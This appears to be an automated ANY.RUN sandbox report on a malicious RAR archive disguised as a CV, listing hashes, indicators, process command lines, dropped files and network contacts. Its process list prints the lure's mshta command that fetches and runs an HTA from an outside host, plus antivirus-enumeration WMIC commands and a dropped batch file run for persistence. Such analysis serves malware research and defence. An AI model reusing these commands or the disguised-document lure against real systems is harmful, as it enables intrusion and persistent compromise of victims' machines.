File name:

My-CV.docx .rar

Full analysis: https://app.any.run/tasks/ee537d70-dc30-4171-ac9c-cec9743d0475
Verdict: Malicious activity
Analysis date: June 21, 2021, 13:02:11
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

E35D0D67ED0A6F5561739F1C34BD9B41

SHA1:

0D04192FE4EC776895E2522D8A0DEE5BECDD4BBE

SHA256:

FAEBE31DEEC6015F251231EC92948171DFC3E1AC6EB5E1C399C1A1499CB65161

SSDEEP:

768:B2cv81iBu1iJLgB0QengAIAfawIcmOKU7amSjy4Lk3budMPCi:B2cvWiZgS1dFIcmbU7amSpibuaN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Changes settings of System certificates

      • mshta.exe (PID: 904)
      • mshta.exe (PID: 4000)

    • Application was dropped or rewritten from another process

      • credwiz.exe (PID: 3240)
      • credwiz.exe (PID: 3048)
      • winrs.exe (PID: 2132)
      • credwiz.exe (PID: 1556)

    • Changes the autorun value in the registry

      • reg.exe (PID: 3632)

    • Loads dropped or rewritten executable

      • credwiz.exe (PID: 3240)
      • credwiz.exe (PID: 3048)
      • credwiz.exe (PID: 1556)

  • SUSPICIOUS

    • Adds / modifies Windows certificates

      • mshta.exe (PID: 904)
      • mshta.exe (PID: 4000)

    • Executed via COM

      • iexplore.exe (PID: 3124)

    • Drops a file with too old compile date

      • mshta.exe (PID: 904)
      • credwiz.exe (PID: 3240)

    • Drops a file that was compiled in debug mode

      • mshta.exe (PID: 904)
      • mshta.exe (PID: 4000)

    • Creates files in the program directory

      • mshta.exe (PID: 904)
      • mshta.exe (PID: 4000)
      • credwiz.exe (PID: 3240)

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 904)
      • mshta.exe (PID: 4000)
      • credwiz.exe (PID: 3240)

    • Drops a file with a compile date too recent

      • mshta.exe (PID: 4000)
      • mshta.exe (PID: 904)

    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 4000)
      • credwiz.exe (PID: 3240)
      • credwiz.exe (PID: 3048)
      • credwiz.exe (PID: 1556)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 2360)

    • Uses WMIC.EXE to obtain a list of AntiViruses

      • cmd.exe (PID: 2996)
      • cmd.exe (PID: 3092)
      • cmd.exe (PID: 600)

    • Uses WMIC.EXE to obtain a system information

      • cmd.exe (PID: 2996)
      • cmd.exe (PID: 3092)
      • cmd.exe (PID: 600)

  • INFO

    • Manual execution by user

      • mshta.exe (PID: 4000)
      • mshta.exe (PID: 904)
      • credwiz.exe (PID: 3240)

    • Reads internet explorer settings

      • mshta.exe (PID: 4000)
      • mshta.exe (PID: 904)
      • iexplore.exe (PID: 2148)
      • iexplore.exe (PID: 1492)

    • Application launched itself

      • iexplore.exe (PID: 3124)

    • Changes internet zones settings

      • iexplore.exe (PID: 3124)

    • Dropped object may contain Bitcoin addresses

      • mshta.exe (PID: 904)
      • mshta.exe (PID: 4000)

    • Reads settings of System Certificates

      • iexplore.exe (PID: 2148)
      • iexplore.exe (PID: 3124)

    • Creates files in the user directory

      • iexplore.exe (PID: 1492)
      • iexplore.exe (PID: 2148)
      • iexplore.exe (PID: 3124)

    • Changes settings of System certificates

      • iexplore.exe (PID: 3124)

    • Adds / modifies Windows certificates

      • iexplore.exe (PID: 3124)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
67
Monitored processes
20
Malicious processes
4
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs mshta.exe mshta.exe iexplore.exe iexplore.exe no specs iexplore.exe no specs iexplore.exe iexplore.exe cmd.exe no specs reg.exe credwiz.exe cmd.exe no specs wmic.exe no specs winrs.exe credwiz.exe cmd.exe no specs credwiz.exe wmic.exe no specs cmd.exe no specs wmic.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
600cmd.exe /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:ListC:\Windows\System32\cmd.exe—credwiz.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
904"C:\Windows\System32\mshta.exe" https://dadsasoa.in/font/js/images/files/My-CV/css && wscript.exeC:\Windows\System32\mshta.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
1492"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3124 CREDAT:1905928 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
1496"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3124 CREDAT:267526 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
1556"C:\ProgramData\WinLogs\credwiz.exe"C:\ProgramData\WinLogs\credwiz.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Credential Backup and Restore Wizard
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\programdata\winlogs\credwiz.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1936"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\My-CV.docx .rar"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\comdlg32.dll
2132C:\ProgramData\winrs.exeC:\ProgramData\winrs.exe
credwiz.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\programdata\winrs.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\user32.dll
2148"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3124 CREDAT:726275 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2256WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:ListC:\Windows\System32\Wbem\WMIC.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
2360cmd /c ""C:\ProgramData\WinLogs\strega.bat" "C:\Windows\System32\cmd.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
2 044
Read events
1 844
Write events
194
Delete events
6

Modification events

(PID) Process:(1936) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(1936) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(1936) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\13D\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1936) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\13D\52C64B7E
Operation:writeName:@C:\Windows\system32\NetworkExplorer.dll,-1
Value:
Network
(PID) Process:(1936) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\My-CV.docx .rar
(PID) Process:(1936) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(1936) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(1936) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(1936) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(4000) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
7
Suspicious files
62
Text files
23
Unknown types
37

Dropped files

PID
Process
Filename
Type
1936WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa1936.38256\My-CV.docx .lnk —
MD5:—
SHA256:—
4000mshta.exeC:\Users\admin\AppData\Local\Temp\Cab1B37.tmp —
MD5:—
SHA256:—
4000mshta.exeC:\Users\admin\AppData\Local\Temp\Tar1B38.tmp —
MD5:—
SHA256:—
904mshta.exeC:\Users\admin\AppData\Local\Temp\Cab26D0.tmp —
MD5:—
SHA256:—
904mshta.exeC:\Users\admin\AppData\Local\Temp\Tar26D1.tmp —
MD5:—
SHA256:—
3124iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFB5D255A79B585A30.TMP —
MD5:—
SHA256:—
3124iexplore.exeC:\Users\admin\AppData\Local\Temp\~DFE57AD5F8DDB2CC8C.TMP —
MD5:—
SHA256:—
904mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6Z2BCOUL\css[1].htahtml
MD5:—
SHA256:—
3124iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{F7E2F287-D290-11EB-9D81-1203334A04AF}.datbinary
MD5:—
SHA256:—
4000mshta.exeC:\ProgramData\WinLogs\DUser.dllexecutable
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
29
TCP/UDP connections
142
DNS requests
24
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1492
iexplore.exe
GET
200
172.217.23.3:80
http://ocsp.pki.goog/gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D
US
der
724 b
whitelisted
2148
iexplore.exe
GET
200
172.217.23.3:80
http://ocsp.pki.goog/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D
US
der
1.41 Kb
whitelisted
2148
iexplore.exe
GET
200
172.217.23.3:80
http://ocsp.pki.goog/gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D
US
der
724 b
whitelisted
2148
iexplore.exe
GET
200
172.217.23.3:80
http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDtYXXAWBjSqwoAAAAA2PRf
US
der
472 b
whitelisted
1492
iexplore.exe
GET
200
142.251.37.3:80
http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjtJqhjYqpgSVpULg%3D
US
der
468 b
whitelisted
2148
iexplore.exe
GET
200
172.217.23.3:80
http://ocsp.pki.goog/gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D
US
der
724 b
whitelisted
2148
iexplore.exe
GET
200
172.217.23.3:80
http://ocsp.pki.goog/gts1o1core/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQCPPpNNwx5qBAMAAAAAzCwV
US
der
472 b
whitelisted
2148
iexplore.exe
GET
200
142.251.37.3:80
http://ocsp.pki.goog/gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEF6BZF1IwxRPCgAAAADY%2Fdo%3D
US
der
471 b
whitelisted
2148
iexplore.exe
GET
200
172.217.23.3:80
http://ocsp.pki.goog/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D
US
der
1.41 Kb
whitelisted
1492
iexplore.exe
GET
200
172.217.23.3:80
http://ocsp.pki.goog/gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDtYXXAWBjSqwoAAAAA2PRf
US
der
472 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
31.220.106.229:443
dadsasoa.in
Hostinger International Limited
GB
suspicious
2148
iexplore.exe
172.217.23.3:80
ocsp.pki.goog
Google Inc.
US
whitelisted
1492
iexplore.exe
172.217.23.202:443
fonts.googleapis.com
Google Inc.
US
whitelisted
1492
iexplore.exe
216.58.201.67:443
www.gstatic.com
Google Inc.
US
whitelisted
2148
iexplore.exe
172.217.23.202:443
fonts.googleapis.com
Google Inc.
US
whitelisted
1492
iexplore.exe
142.251.37.3:80
ocsp.pki.goog
Google Inc.
US
whitelisted
2148
iexplore.exe
142.250.74.195:443
fonts.gstatic.com
Google Inc.
US
whitelisted
2148
iexplore.exe
142.251.37.3:80
ocsp.pki.goog
Google Inc.
US
whitelisted
1492
iexplore.exe
142.250.74.195:443
fonts.gstatic.com
Google Inc.
US
whitelisted
3124
iexplore.exe
13.107.22.200:80
www.bing.com
Microsoft Corporation
US
whitelisted

DNS requests

Domain
IP
Reputation
dadsasoa.in
  • 31.220.106.229
suspicious
crl.identrust.com
  • 2.22.118.168
  • 2.22.118.163
whitelisted
drive.google.com
  • 142.251.36.238
shared
ocsp.pki.goog
  • 172.217.23.3
  • 142.251.37.3
whitelisted
www.bing.com
  • 131.253.33.200
  • 13.107.22.200
whitelisted
api.bing.com
  • 13.107.13.80
whitelisted
fonts.googleapis.com
  • 172.217.23.202
whitelisted
www.gstatic.com
  • 216.58.201.67
whitelisted
fonts.gstatic.com
  • 142.250.74.195
whitelisted
apis.google.com
  • 172.217.16.142
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
My-CV.docx .rar